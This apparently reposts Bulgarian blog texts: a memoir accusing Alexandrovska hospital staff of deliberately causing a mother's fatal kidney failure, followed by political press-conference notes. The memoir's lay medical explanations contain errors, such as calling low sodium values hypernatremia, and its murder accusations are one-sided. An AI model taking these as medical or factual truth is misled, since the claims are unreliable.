След втората хоспитализация на пациентката в „Александровска“, насочена там от „Спешен кабинет“, изследванията констатират драстично нарушен водно-електролитен баланс – категоричните признаци за хронична бъбречна недостатъчност /ХБН/. Бъбреците постоянно загубват възможността да задържат електролита „натрий“. При занижените му стойности в кръвния серум, който факт при майка ми е известен на лекарите, се стига до симптоми на хипонатриемия – слабост, жажда, световъртеж, безапетитие, както и прояви на тахикардия в сърдечносъдовата система. До хипокалиемия се достига след употреба на диуретици. „Резултатът“ е диарийни синдроми, също налични при пациентката, които се явяват и при равна загуба на вода и натрий и водят до дехидратация на организма, може да се стигне и до мускулна парализа. В тези случаи медицинската наука не препоръчва прилагане на силен диуретик, какъвто е „фурантрил“. Но лекуващият лекар го прилага в отчаяните си опити да стимулира прекратена бъбречна дейност.
Следва въпросът: До каква степен този диуретик повлиява хемоконцентрацията* и екскрецията* в организма?
Направиха ли лекарите всичко необходимо за рехидратация, налагаща се от тежестта на случая?
При констатирани микционни смущения /смущения при уриниране/, каквито са потвърдени в една от епикризите, препоръчително е „повишено внимание“ при използването на фурантрил. Дали са се съобразили с това изискване лекуващите или не, в резултат на грижите налице е следващият факт – завишава се концентрацията и на двата електролита, „натрий“ и „калий“. Завишените стойности на „натрий“ застрашава нормалното контролиране обема на екстрацелуларната* течност на тялото и поддържане на алкалнокиселинното равновесие. Този електролит подпомага поддържането на електролитния потенциал в клетките на нервната система и затова е особено необходим на нерви и мускули в организма. Тъй като количеството му се контролира от бъбреците, увеличаването му се явява като още едно доказателство за нарушаване на бъбречната функция. А излишъкът му води до хипернатриемия, предизвикала чудовищните отоци в тялото на майка ми. „Натрий“ участва и в патогенезата на хипертонията, затова завишаването му повлиява и риска от хипертония, особено в по-напреднала възраст. Стойностите на „натрий“ в „Александровска“ градират: 123-128-133. Именно този проблем безпокои единствено млада и вероятно все още „неувредена“ професионално и морално анестезиоложка, която изисква повторни изследвания за уточняване стойностите на електролитното съдържание в кръвта на проблемната пациентка.
Алкалният метал „калий“ е важна съставка на човешкия организъм и основен алкален йон в интрацелуларната* течност на тялото. Заедно с „натрий“ поддържа поляризацията на клетъчната мембрана и осигурява базата на електричната активност на нервната система и мускулатурата. И неговата висока канцентрация /хиперкалиемия/ се дължи на бъбречна недостатъчност, предизвиква се и от калий-съхраняващи диуретици. При Виктория се проявява със сънливост, анорексия, мускулна хипотония*. Води до провалилата първия опит за ТУР аритмия и в крайна сметка би предизвикала смърт от асистолия. Анестезиоложката е съвършено наясно и с тези рискове. Те са известни и на професора и колегите му, положили многократно, без свян, без страх и притеснение Виктория на операционната маса…Имала е чист късмет, че тогава е останала все още жива.
Бъбреците участват в регулацията на „калций“, „фосфор“ и метаболизма на витамин „Д“. При ХБН /хронична бъбречна недостатъчност/ се нарушава образуването му, а той регулира резорбцията на „калций“ в червата. ХБН води и до извличането му от костите. Намалената гломерулна филтрация предизвиква задръжка на фосфора и повишаване съдържанието му в плазмата. Вследствие бъбречна недостатъчност, вече в „напреднал стадий“ при майка ми с креатинин от 700 до 1326 mol/l настъпва нарушение и на въглехидратната обмяна.
От болничните документи на Виктория е очевидно, че в началния стадий на ХБН, когато стойностите на креатинин са 137mol/l и липсват клинични прояви, никой не е оказал необходимото внимание на пациенткта си. И той еволюира главозамайващо: 137-150-700-1008-1029-1326-1075! Но професорът рязко и енергично съкращава сроковете между началния и напредналия стадий на ХБН. Както се изразяват учените, това „гарантира коварството на ХБН – клинична компенсация до пълна разруха“!
Вследствие на предизвиканата анемия се скъсява животът на еритроцитите – червените кръвни телца, основната маса зрели клетки в кръвта, съдържащи пигмента „хемоглобин“, чието основно предназначение е транспортирането на кислорода до всички тъкани и клетки в живия организъм. Нарушава се метаболизмът на аминокиселините, стига се до частична хемолиза*, намалява се трансферинът* в серума. Със сигурност от диагноза „анемия“ при Виктория никой не се е интересувал в „Александровска“, а и тя много трудно се поддава на лечение! Единственият изход при нея е постоянно кръвопреливане, което звучи отново неловко по отношение на грижите към майка ми.
Следват пораженията и в храносмилателната и отделителната система, чиито последици с ерудирано безмилостно самообладание споделя един от лекарите, приел поради „липса на друга възможност“ временно майка ми след „Спешен кабинет“ в „Клиника по онкоурология“ на „Александровска“ /където всъщност трябваше да бъде приета още първия ден/. Сухост в устата, жажда, липса на апетит, миризма на амоняк и… „тяло, пропито с дъх на урина и екскременти…!“ – заключава шокиращо урологът.
По-късно ХБН провокира и централната нервна система на Виктория с постоянно безпокойство, възбуда, притеснение, мускулни гърчове! За лечение на ХБН при нея и дума не може да става. Основното й заболяване беше игнорирано, а нечовешките експерименти довеждат в крайна сметка до смъртоносната хронично-бъбречна недостатъчност! Затова е неуместно да се споменава дори за „отстраняване“ на факторите, довели до влошаване на бъбречната функция, което при други обстоятелства би било приоритет в грижата на лекарите.
А за „диетично лечение“, улесняващо синтезирането на белтъци в организма от собствената урея, дори е смешно и жалко да се споменава. Подобна идея отсъства изобщо от мислите и действията на професора и лекуващите лекари. Медикаментозно лечение също няма. Но пък има в изобилие опити с оперативни методи. Много по-лесно и по-бързо беше решаването на проблема с предизвикване на бърз диуретичен ефект чрез прилагане на фурантрил и въпреки смъртоносните последици снемат от съвестта си всяка гузност, която би тровила живота на всеки отговорен, доблестен и почтен лекар и човек… А изискващата се в третия етап на ХБН при Виктория хемодиализа също е обречена на неуспех в „Александровска“…
Спази ли високотитулуваният специалист изричното, жизненоважно правило в своята специалност:
„Много важно е да се изключи запушване на уретера като причина за поддържане на инфекцията, тъй като в този случай се стига до застой на урината с последвалата инфекция!…Ако пречката за застоя на урина, чийто нормален отток е възпрепятстван, е нивото на пикочния мехур или уретрата, може да се стигне до двустранна хидронефроза. Възпалителните процеси се лекуват с подходящи антибиотици!“
Освен запушени уретери професорът вече е гарантирал и друстранната хидронефроза, също отбелязана в документ, с която се блокират всякакви процеси на филтрация, секреция и др., образуващи урината. Причината – разнебитеният от професорската резекция пикочен мехур!
Механизмът: Инвазията на туморни клетки след резекцията, рецидивирането им, както и гарантираният възпалителен процес и коагулумите, разширяват и запушват уретерите. Застоят на урината е осигурен с възпрепятстване на нормалния й отток. Хидронефрозата е причинена от увеличаващото й се количество, чиято секреция не спира след възникване на препятствието. Водещите симптоми при напреднал, четвърти стадий, при който паренхимът е напълно изтънен и при наслагване на инфекция се превръща в „торба, пълна с гной“, бяха налице при майка ми: болка с тъп, постоянен характер, /„силата“ й не отговаря на тежестта на хидронефрозата, твърдят учени-уролози/; хематурия, впоследствие явяваща се периодично; чести позиви за уриниране /при насложени инфекции/; левкоцитоза /стойностите на левкоцитите се увеличават от 12,0 на 24,5!/
Беше ли приложено лечение, или поне имаше ли намерение за лечение на хидронифрозата и какви бяха симптоматичните средства? Какви антипиретици, антибиотици, уроантисептици и витамини приложиха?…
„Colica renalis“*, – научнообоснована, друга документирана последица от „лечението“ на майка ми! Предизвиква се от внезапно прекъсване на проходимостта на уретера с последващо бързо повишаване на налягането в кухинната система на бъбрека. Кръвните съсиреци са сред най-често срещаната причина за „колика реналис“ /стойността на тромбоцитите е нараснала от 286 на 435!/ Възпалението и инфекцията след ТУР водят и до тромбоцитоза като тяхна вторична реакция.
Ако професорът не беше провокирал нови коагулуми с документираната нова хемостаза след ТУР, с евакуацията им при първата уретроцистоскопия би било съмнително явяването на бъбречната колика, както и фаталното запушване на уретерите!
Следва продължение!
Кратък речник на медицинските термини
анурия – патологично състояние, при което почти липсва секреция на урина от бъбреците /количеството на отделената урина е под 50 мл. За 24 часа/;
екскреция – отделяне на отпадни продукти /екскрети/от метаболизма /жизнената дейност на организма/: пот /от жлези с вътрешна секреция/,други като краен резултат на различни процеси /урина, екскременти, вода, соли, урея, въглероден двуокис и вода чрез издишване от белите дробове и др/;
/„урея“ – съединение, образуващо се в черния дроб; отделя се с урината като главен краен продукт на белтъчната обмяна, увеличава се при бъбречни болести /недостатъчност/, масивно разпадане на тъкани и др./;
екстрацелуларна – /„екстра“ – първа съставна част на сложни думи, означаваща „извън“/;
интрацелуларна – /„интра“- първа съставна част на сложни думи, означаваща „вътре“, „във“/;
„Collica renalis“ – болки, криза в бъбреците;
трансферин – специфичен протеин,транспортиращ комплексите на желязото до костния мозък и железните депа;
хемолиза – преждевременна смърт на еритроцитите;
хемоконцентрация – предизвиква се при свръхмощна диуреза в старческа възраст; свързана с риск от развитие на тромбози и последващи емболии;
/„ембол“- материал /кръвен съсирек, мазнина, въздух, течност или чуждо тяло/, който се пренася чрез кръвния ток от една точка до друга/;
хипотония – ниско кръвно налягане;"
-
Едно друго от нея за "КАПАЦИТЕТИ В ПОЛИТОЛОГИЯТА И СОЦИОЛОГИЯТА ЗА ПРЕДИЗБОРНАТА СИТУАЦИЯ В БЪЛГАРИЯ":
"КАПАЦИТЕТИ В ПОЛИТОЛОГИЯТА И СОЦИОЛОГИЯТА ЗА ПРЕДИЗБОРНАТА СИТУАЦИЯ В БЪЛГАРИЯ
Форум „Политика и общество“
Фондация „фридрих Еберт“
30 юни, 2011 г. БТА
Проф. ДФН ГЕОРГИ КАРАСИМЕОНОВ – Институт за политически и правни изследвания:
„Криза на лидерския капацитет на партиите.“
„Спад на критериите за демократично развитие – предимно в България и Унгария.“
/според американско изследване/;
„БСП няма личности и формули“;
„ДПС – в изчаквателни позиции. В необходимост от преодоляване на кризата, свързана с напускането на Касим Дал и други членове на ДПС.“
„РЗС – Кандидатът за президент Атанас Семов е способен млад човек с много качества. Не трябва да се подценява. Любопитно е защо членува в РЗС?“
„В изборите ще участват лидерски партии без нормален демократичен вътрешно-партиен живот.“
Проф. ДФН ПЕТЪР-ЕМИЛ МИТЕВ – Институт за социални ценности и структури „Ив. Хаджийски“:
„Ерозия на властта…“
„Силово укрепване на властта…“
„Сливане на полицейска и политическа власт, на съдебна и политическа власт.“
„Изборите са от значение за протичането на демократичния процес.“
„Изборите ще бъдат вот на доверие към партиите.“
„Неизбежни политически игри…“
„Ерозия на парламентаризма…“
„Отричане на опонента…“
Доц. ДПН АНТОНИЙ ТОДОРОВ – Българска асоциация за политически науки:
„Слабост на политическите партии; Проблем с мобилизацията; Нелоялност.“
ЖИВКО ГЕОРГИЕВ – „Галъп Интернешънъл“:
„Няма симптоми на политизация на общественото съзнание, а на икономизация.“
„Наличие на „частни общини“/!/
„Печелившият няма много да спечели, но загубилият много ще загуби!“
„Местните избори са „най-скъпо струващи.“/По повод „купуването на гласове“/."
-
Следващото е от 2012, от нея за парите:
"ПАРИТЕ ДИКТУВАТ ВСИЧКО В ЖИВОТА НИ
„VENEFICIUM BULGARICUS – САГА ЗА ВИКТОРИЯ“
Продължение
ГЛАВА ПЕТА
„ЗАЩО НЕ НАМЕРИТЕ ПО-ДОБРО МЯСТО ЗА МАЙКА СИ?“
* * *
Споделих притесненията си с професора относно настъпилите тежки усложнения, изтощението и безсилието на майка ми да се движи и го помолих да предприеме нещо, за да се захрани болната медикаментозно. Отново беше готов да изпълни молбата ми. Но не схващах защо тази жизнена необходимост за пациентката трябваше да се превърне в молба. Ако не бях реагирала и този път, от изтощение ли щяха да оставят пациентката си да умре, преди това да свърши тяхното злодейство?
„Ще предам на старшата сестра“ – беше отговорът.
Но и „старшата сестра“ се погаври с невежеството и страха ми.
„О, да…разбира се. Може да консумира храната от кухнята, а може и да й купувате нещо.“
Това отношение беше неочаквано и обидно, но тогава все още не го осъзнавах. Нима старшата сестра нямаше информация за състоянието на Виктория! Нима не беше наясно, че тя не може да се храни и причините за това бяха скандални! Нима тя не беше участвала индиректно в експериментите и не знаеше последствията от тях! Нима не беше „схванала“ нареждането на професора!
„Но, госпожо, ставаше дума пред г-н професора за изкуствено захранване. Майка ми не е в състояние да се храни сама!“
Отегчението у тази жена беше пълно и демонстративно:
„О…добре…добре…!“
И така всяко притеснение, всеки страх, но най-вече всяка необходимост за Виктория се превръщаше в моя молба към професора. Той пък се молеше на персонала си, който нехаеше и като че ли не го касаеше което и да е нареждане на шефа си. И всичко се повтаряше. Когато помолих за болничната документац;ия на майка ми /за което професорът беше се разпоредил вече/, за да направи КАТ /компютърна аксиална томография/ в „Св. Екатерина“, не я получих, докато сестрите не разбраха, че лично ще заплатя изследванията в друга болница. А то беше необходимо на лекарите, но поради „липса“ или „повреда“ на нужния апарат търсеха старото изследване от гр. Монтана. Беше пределно ясно, че то няма да послужи за нищо, освен доказателство и за самите тях за причинените в „Александровска“ тежки увреждания на пациентката. Въпреки че им беше необходимо, не желаеха да направят ново, регламентирано в правилника на болничното заведение, както и в правата на онкоболните пациенти изследване „КАТ“. То дава възможност за уточняване на стадия в развитието на малигнените тумори в урогениталната система, количествена оценка за увеличаване на лимфните възли и отношението им към съседните органи и структури, уточнява дълбочината на патологичните промени на първичния процес и оценява разпространението на заболяването и обхващането на съседните структури.
В диалога с професора стигнахме до „съвета“ му, че КАТ би могло да се направи „например в болница „Св. Екатерина“! И не пропусна да спомене: „Но ще трябва да си го заплатите…някъде около 210 лв!“ Защо в „Александровска“ отказаха да извършат това изследване, което им беше необходимо? Дали защото „Здравната каса“ нямаше да го поеме и болницата прави „излишни“ разходи за възрастната Виктория, която този път съвсем не беше подходящият дивеч, за да изстрелят по нея един ценен куршум? Или това й се полагаше, но го спестиха за „по-подходящ“ пациент?
Стеклите се в последния ден обстоятелства дадоха отговор: КАТ беше нужна на професора не защото някой в „Александровска“ се интересуваше все още от Виктория и заболяването й, а за да има възможност да редактира съгласно всички изисквания епикризата на пациентката, съдържаща в текста си едно към едно заключенията в „Св. Екатерина“, плод на собствените им подвизи! Беше очевидно удовлетворението на професора, че с готовност поех внушеното ми задължение и го направихме с лични средства и, разбира се, в друга болница.
Ще отрече ли някой, че парите диктуват всичко в живота ни? Дребни късчета хартия, предопределящи съдбата ни – страданията, болките, щастието; потребни, за да живееш, необходими и за да осигуриш смъртта си. Преди около три десетилетия мъртвото тяло на мой земляк и съсед беше предоставено безвъзмездно на патолози за дисекция – чудесна възможност за обучение и експерименти в науката! Но тя беше реализуема поради чудовищната бедност на близките на покойника, чийто социален статус категорично ги лиши от дълга да го изпратят в последния му път. Нашият социален статус не позволяваше да предлагаме няколкоцифрени суми за лечението на Виктория, но те не бяха и необходими за експерименталната професорска практика. Или…някой категорично би ни опонирал? И сигурно ще излезе прав!…
* * *
По презумпция ръководителят на която и да е институция представлява някакъв авторитет, комуто колегите дължат най-малкото подчинение, ако не зачитане и уважение. Не зная дали професорът представляваше авторитет, респектиращ по-низшестоящите в йерархичната структура на едно болнично заведение, но беше стъписваща и стряскаща липсата на каквато и да е готовност за изпълнение на нарежданията му. Професорът не ги интересуваше, пациентите слабо ги интересуваха, изглеждаха сърдити, уморени,недоволни, нелюбезни с болните. Оправдаваха поведението си с недоволство от ниското заплащане на труда им, но нали в крайна сметка всеки имаше право на своя личен избор. Оттук идваше и притеснението за грижата към самите пациенти.
Какво ли не бих дала да можех да узная как се чувства в кожата си, в душата си, в белите си и зелени одежди този титулуван хирург, чието мнение почти никой от колегите му не зачита. Но пък за сметка на това с него бяха напълно солидарни съмишлениците му, подложили майка ми и участвали в умъртвяващата резекция, която солидарност може би реабилитира професора в незначителното му „шефско“ присъствие сред по-низшия болничен персонал!
След всички изживени в „Александровска“ трагедии дължа огромна благодарност на един-единствен човек – на една от медицинските сестри, поела своето нощно дежурство във вечерите, когато майка ми вече стартираше пътя си към отвъдното. В това безвремие за нас и Виктория промиваха мозъците ни с дузината „промивни системи“, които й включваха непрекъснато и които поддържаха и нашата заблуда за „спряното“ кървене! От дълбокия сън изведе приспаното ми съзнание същата тази медицинска сестра, която по чиста случайност не бях виждала до този момент в отделението. Мама се нуждаеше от честа смяна на уринаторите и самите промивни системи, за които манипулации се налагаше винаги да търся и подсещам дежурния персонал. Служителите вече не издържаха на присъствието, намесата и молбите ни, с които единствено ги подсещахме да изпълнят служебните си ангажименти. И точно това обстоятелство принуди медицинската сестра да извърши своеобразния си „подвиг“ с нервно отправения към мен въпрос, с който, без да подозира, „здравната работничка“ торпилира и сложи категорично кръст на едно огромно здравно заведение, симулирало дявол знае за какъв период единствено успешна реализация на държавната политика за ефективно и съвременно българско здравеопазване.
В коридорите на УМБАЛ „Александровска“ се разигра паметен диалог:
„Защо не намерите по-добро място за майка си?“
Без да съзнавам какво всъщност иска да ми каже тази изнервена жена, отговорих уверено:
„Защо? Аз смятам, че сме избрали най-доброто място!“
И колко ли жалка съм изглеждала в очите на сестрата с тази своя гибелна заблуда. Последва отговорът й:
„Ако беше така, нямаше да се връщате отново тук, а вече щяхте да сте забравили това място!“
В тази тежка нощ изявлението на дежурната сестра дълбоко ме разстрои и всъщност отвори широко очите и проясни ума ми. Но не престанах да разсъждавам върху откровението й, което, освен шокиращо, беше и затрогващо. Какво целеше тя? Умората, неудовлетворението от тежкия и нископлатен труд ли я подведоха, или имаше нещо по-значимо и по-дълбоко, което нашето невежество не беше в състояние да открие? Защо тази служителка „подритва“ работата си? Не се ли притеснява от подобна искреност? Не се ли страхува от последствията? Прави ли й чест да подбива и руши авторитета на институцията, където осигурява своя и на семейството си хляб насъщен?
Бях силно раздвоена и объркана. Трябваше ли да упреквам тази жена или в крайна сметка смелостта й заслужаваше единствено адмирации? Защото единствена сред манипулатори и бездуховни същества се осмели да открехне вратата към една ловко укривана мръсна яма, натъпкана с безразличие, егоизъм, непочтеност, неудовлетворени амбиции, фалш и лицемерие. Животът беше принудил и нея да тъне в тази яма, без да вижда изход отникъде…
На майка ми не споделих нищо. Стремителното й влошаване за броени дни на престоя ни тук само потвърждаваше основанията на медицинската сестра и оправдаваше напълно нейното „предателство“. Негласно бях я упрекнала в неморалност, в липса на достойнство, в липса на благодарност към работодателя и работата. Но след дълги размишления най-сетне схванах колко достойнство, а защо не дори съчувствие и състрадание има в тази жена, за да рискува всичко, колко наясно е с този цирк, разиграващ се в клиниката между лекари и пациенти. След „нощта на откровението“ ми се искаше да й благодаря за доблестта, колкото и несъзнателно да я беше проявила. Но повече не я срещнах.
За жалост, оказа се, че и самите санитарки в отделението съвсем безпардонно смъкват от пиедестала своя шеф, приобщавайки го за свое оправдание към отвратителните си действия и престъпно отношение към пациентите. В едно от нощните дежурства на по-голямата ми сестра се разиграва още по-куриозен епизод. „Изобретателността“ на санитарката през тази нощ достига до такова съвършенство, което здравият разум трудно би асимилирал. Но откачените действия на подобна личност могат да се окажат пагубни за живота на всеки попаднал при нея пациент. Тази служителка разиграва вече отиграна в отделението хитрост, безумна и опасна – тайно пробива уринаторите и ги поставя в голям и непрозрачен съд, което няма да налага честата им смяна, респ. не ще нарушава нощното й спокойствие. А непрозрачният съд няма да породи съмнение, че има дупка в уринатора!…
Естествено, интелектуалното /ни най-малко не подценявам достойнството на други, образовани личности, принудени от живота да изпълняват тази непривлекателна работа/ и „професионалното“ ниво на тази санитарка не й позволяват да знае, че на този етап от „лечението“ процесът на диурезата на пациентката е единственият критерий за здравословното й състояние, което определя и последващите действия на лекуващите лекари. И че ако те вече са ликвидирали възможността тя да бъде контролирана със съответни медикаменти, то все пак е необходимо да бъде наблюдавана. Но ако не за санитарката, то поне за медицинската сестра, предполага се достатъчно образована и опитна, за да заема подобна позиция, тези правила и изисквания са достъпни и ясни. Ако не са, то мястото й не е там. А към санитарката някой би трябвало да прилага „някакъв“ контрол.
Както вече споменах, за лечението на Виктория беше използван диуретикът „фурантрил“. С прилагането му се изисква ежечасно контролиране на диурезата /при катетеризиран пикочен мехур, в каквото състояние беше майка ми/ и количеството на въвеждания електролитен разтвор в следващите часове се съобразява с количеството на отделената през предхождащия час урина. Така стигаме до престъпното обстоятелство, при което животът и лечението на майка ми зависеше в огромна степен дори от поведението и действията на дежурната в нощната смяна санитарка, ликвидирала с пробитите уринатори евентуален следващ лекарски ход и напълно вместила се в схемата от планувани безобразия. Така пъкълът се затваря и няма вече нито избавление, нито надежда.
Ако не живеехме в страната на абсурдите, след този скандален случай, с който според санитарката и медицинската сестра се оказва съпричастен и професорът, някои субекти трябваше да забравят завинаги професията си и входа на болнично заведение, а други да бъдат запокитени да упражняват професията си и остатъчната си съвест като общопрактикуващи лекари или „джипита“ далече в изоставените и забравени провинциални кътчета на България, където за кървене при уриниране те изпращат на „невролог“! Всичко това звучи и изглежда абсурдно, но за нещастие е жестоката наша действителност. Когато на следващата сутрин, вече запозната със случката с пробитите уринатори, споделих притесненията си с новопристигналите медицинска сестра и санитарката, в съвършено прозрачен „съюз“ двете заемат отбранителна позиция, прилагайки правилото „нападението е най-добрата отбрана“. Това им поведение бях провокирала с въпроса:
„А г-н професорът запознат ли е с тези ваши действия?“
Отбранителният и яростен отговор на санитарката беше убийствено компрометиращ за професора:
„А Вие смятате ли, че ще посмеем да вършим нещо без негово знание и разрешение?“
Ако и това се окаже истина, на каква болнична помощ, на какво здравеопазване можем да разчитаме и се надяваме? Може би по законите на джунглата – да оцелява кой както може!
На професора и другите лекуващи Виктория лекари бяха известни и ясни симптомите на провокираната смъртоносна ХБН /хронична бъбречна недостатъчност/ на пациентката – синдромокомплекс, настъпващ в крайния стадий от развитието на хроничните бъбречни заболявания, чиито прояви започват при увреждане на 70% от функциониращите нефрони*. Патофизиологичните промени в организма на болния обуславят развитието на ХБН. Намаляването на масата на нефроните води до понижаване скоростта на гломерулната* филтрация и затова веществата, излъчващи се чрез нея, увеличават концентрацията си в серума /стойността на креатинина при Виктория – 1075 mol.l/.Уреята също променя стойностите си, но показателите на креатинина по-точно отразяват степента на ХБН.
Основните патофизиологични механизми се характеризират с нарушение на двете основни функции на бъбреците: отстраняване на крайните продукти от белтъчната обмяна и поддържане на постоянен обем и състав на телесните течности. Тези нарушения са неоспорими факти в състоянието на пациентката Виктория. Основното нарушение в поддържането на постоянен обем и състав на телесните течности е в отделянето на вода от организма. Нарушава се денонощният ритъм на диурезата, като се увеличава количеството на нощната диуреза. Ако своевременно не се коригира, може да предизвика дехидратация на организма. При такива смущаващи и опасни обстоятелства в болничното заведение някой е негласно съпричастен с „правомощията“ на санитарката, позволявайки й с действията си да се превърне в неоспорим фактор и допринесе съществено за пагубния изход от опитите за едно тежко и трудно лечение.
Собствените ми разбирания за етично поведение не ми позволиха да споделя тези абсурди с професора. Реших, че няма смисъл да се подлагам и на самоунижение. А ако наистина се окаже в близкото или дори в далечно бъдеще, че маститият учен е негласно съпричастен с тези престъпни действия, то мястото му е единствено зад решетките. Но тази справедливост щеше да е възможна, ако не живеехме в страната на абсурдите, ако разчитахме на нормална и ефективна съдебна система, в чиято терминология имат място и тежат изрази като „умишлено“ и „непредумишлено“ действие, но рязко разграничаващи се при неоспорими обстоятелства. Бяха налице фалшифицирани данни в болничната документация, беше налице резултатът от безотговорно изпълнение на професионален дълг. Всичко това на основание собствените си морални норми и законите в обществото ни, колкото и болно да се оказва то, по-късно квалифицирах като „непредумишлено убийство“. Но с подобно заключение доста подценявах професора и екипа му – те прекрасно знаеха какво вършат и какви ще бъдат последствията от опитите им. Умисълът беше заложен в основата на всичките им действия. За тях няма „смекчаващо вината обстоятелство“, защото енергичното тласкане на майка ми към гроба беше осъзнато, преценено, умишлено действие от първия до последния ден на престоя й в „Александровска“. Това действие може да се квалифицира с една единствена дума – престъпление! А за всяко престъпление законът е отредил и наказание!
Но да сте чували за затворник – лекар? Или осъден съдия, адвокат или прокурор? Нима те са безгрешни човеци? Но всички са от ордата на недосегаемите. Както олигарсите-политици! Ако в България функционираше истинска съдебна система, в каквато би била инкриминирана дейността с опасни за живота на пациента медицински експерименти, щях да поема и големия риск да предявя съдебен иск към умъртвителите на покойната ми майка. Но такава липсва. Или по-скоро съществува, но, в противовес на законите на логиката, у нас тя е функция на големите пари! Имаш ли ги, имаш всичко. Купуваш и лекар, и съдия, и прокурор. Плащаш и се спасяваш. Темида не ще възрази. В България тя отдавна не е сляпа. И наблюдава със зорко око откъде ще се появи съкровище, което ще оневини и най-закоравелия убиец. Но правда няма, има само мъртъвци и осъдени изкупителни жертви. А ти, с ненужния ти морал и жалки надежди, оставаш слепец и се блъскаш в бетонна стена. Преминаването отвъд нея за теб е табу. И тогава, ако си способен, гордей се, че си Българин!…Склонна съм да вярвам, че по-малко фатализъм има в израза „спасяването на давещия се е проблем на самия давещ се“, който в края на 2009 г. упорито се налага като философия за най-сигурното ни самосъхранение.
…След диалога за пробитите уринатори, за който жестоко бях обвинена от извършителите, останах още по-смаяна и объркана. Почувствах се толкова унизена и отчаяна за бъдещето не само на собствената ми майка, но и на всички нещастници, попаднали тук и неподозиращи каква гавра, застрашаваща живота им, се извършва с тях от субекти от най-низшето йерархично стъпало по най-високото.
Следва продължение!"
-
Едно от 2012 за депутати:
"ДЕПУТАТ, ИЗПАДНАЛ В НЕРВНА КРИЗА!
В деня, в който в публичното пространство се разнесе новината, че Капка „Сидерова“ ще прави нова партия „Атака“, нервите на лидера на старата „Атака“ не издържаха. Но за истинско съжаление беше състоянието на негов съпартиец-депутат, забравил къде се намира, защо се намира там, кой го беше изпратил там, беше забравил и за т. н. „четвърта власт“, вероятно заблуден, че тя винаги ходи „след победителите“.
В присъствието на останалия безмълвен зам.председател на Парламента и свой съпартиец, изпадналият в криза атакист старателно работи за имиджа на изчезващата парламентарна група и самата партия, гонейки журналист с израза:
„Айде!…Изчезвай оттука!“
Може би това е най-новият метод за спечелване на електорат за предстоящите избори!"
-
И едно пак политическо. За изборите.
"„ИЗБОРИТЕ СЕ РЕШАВАТ ОТ НЯКОЛКО ГОЛЕМИ ГРУПИРОВКИ“
„НЕЩАТА СЕ РЕШАВАТ ОТ ТОЗИ, КОЙТО БРОИ ГЛАСОВЕТЕ“
Политолози за предизборната ситуация в страната
/Из пресконференция в БТА. Организатор: фондация „Фридрих Еберт“/
Проф. Георги Карасимеонов:
Избори 2013 г. ще имат ново лице. Очакванията за евентуален успех в тях са за партия ГЕРБ – лидерска, централизирана, вече част от статуквото, БСП – която остава социалдемократическа партия, ДПС – лява, лидерска, силно централизирана, открита за коалиции, Партия на гражданите – на Меглена Кунева.
Партия „Атака“ се намира в процес на разпад. Интересно е кой ще привлече протестния вот в предстоящите избори! Възможни са коалиции: ГЕРБ – ДПС; ГЕРБ – Партия на гражданите /Кунева/. Труден вариант е тройна коалиция между ГЕРБ, ДПС и Партия на гражданите.
Новото в развитието на политическия живот според проф. Карасимеонов е доближаването на партийната система в България до европейския модел – налице са лявоцентристки, дясноцентристки партии и пр. Според него водещо място си остава проблемът за социалната справедливост, което становище породи несъгласие у участници в пресконференцията в лицето на професори-политици.
Проф. Петър Емил-Митев:
Предстоящите избори ще бъдат съпроводине с няколко значими проблема:
1. Проблематизиране на евроинтеграцията на България – еврофондовете са изплатени едва в рамките на 14 %; Тази неефективност в изпълнение на поетите ангажименти от страната ще намали тези фондове. В България е силно ограничена икономическата инициатива. Всички тези процеси са зависими и от приключването на бюджетния цикъл на Европейския съюз през 2013 г.
2. Проблем е самият Европейски съюз! България е пълноправен, но не пълноценен член на този съюз.
За политическите партии:
Те губят своята идентичност и изпадат в изолация.
ГЕРБ – през 2005 г. тя се характеризира като „нова, национална, дясна“. Трудно ще запази тази своя идентификация.
Според проф. Митев е трудно осъществима коалиция между ГЕРБ и ДПС. Шансовете на ДПС са ограничени, поради сближаване на българското правителство с Турция, възможността от нова етническа партия на отцепилия се от ДПС Касим Дал, както и факта изолираност на ДПС от Анкара. Две партии от етническо естество в България не биха били полезни за страната според участници в пресконференцията. Пример за този извод е наличието на две проблемни подобни партии в Македония.
Партията на Бойко Борисов се е превърнала категорично в партия на властта с необичайна концентрация на тази власт, което вече е характерна черта към нейната идентичност.
Понастоящем политическата ситуация се характеризира с т. н. „пълзящ авторитаризъм“, който вероятно ще бъде камуфлиран, с рестарт и нормализация – при коалиция ГЕРБ не би могла да осъществява свободно своя авторитаризъм, а Борисов е отворен за коалиции.
Проф. Петър Емил-Митев е категоричен, че „нещата се решават от този, който брои гласовете!“ Важни си остават правилата на играта, върху които е необходимо да се съсредоточи вниманието на обществото!
Доц. Евгени Минчев:
Според доцента всяко подценяване на Бойко Борисов му осигурява значителни бонуси.
ГЕРБ ще продължава своя успех в задържане на своята популярност. БСП остава с ограничена подкрепа и с намаляване на ядрото й. Възможна е електорална подкрепа в рамките на 15-18 %. Тя е подкрепяна индиректно от ГЕРБ в играещата от нея роля на опозиция, но никога не успява да надскочи тази отредена й роля. Партията на Меглена Кунева рискува да загуби стабилност и идентичност в подкрепата за нея по равно и от леви, и от десни. ДПС се очаква да получи среден резултат. „Сините“ се намират в индуциран разпад, организационен хаос и кадрова криза.
Програмно-стратегическа криза е характерна за всички партии.
ГЕРБ се характеризира с фискалност, консерватизъм, тесногръдие, гордост от „балансиран бюджет“, дори водещ до бюджетен излишък, уклон към авторитаризъм. Хаотична е като визия и политика.
БСП е в незавидно състояние. Лишена е от стратегическа идентичност и визия.
Меглена Кунева няма съдържателна политика.
В българското политическо пространство текат необратими процеси, характеризиращи се с липса на доктрини, стратегии, подходи. Засега според доц. Минчев няма вариант ГЕРБ да не е водеща политическа сила.
Проф. Антоний Тодоров:
Партиите изживяват дълбока структурна криза с изразени конфликти, влияещи силно върху тяхното формиране. Не се ползват с доверие в обществото, липсват им каузи и вътрешнопартиен живот. Атака и РЗС вече са вън от играта. По отношение на финансирането на партиите бивш съветник на президента Желю Желев изразява категорично мнение, че „изборите се решават от няколко големи групировки“, с което проф. Тодоров е напълно солидарен. Всички партии, представени в Парламента, са подкрепяни от икономически групировки без изключения.
Съществува тенденция към създаване на нови партии.
Турция не ще заложи на губещи партии…
Мнение на доц. Минчев по зададен въпрос:
За новосъздадената партия на Димитър Стоянов: „Партията на Стоянов и майка му е като политически клиент в очакване на повикване…Георги първанов – също. Идеалистично е връщането му в БСП на ръководния пост.“
На въпрос кого ще подкрепи Турция – ДПС ако е в коалиция с Герб, или ГЕРБ ако е извън коалиция с ДПС, доц. Минчев отговаря:
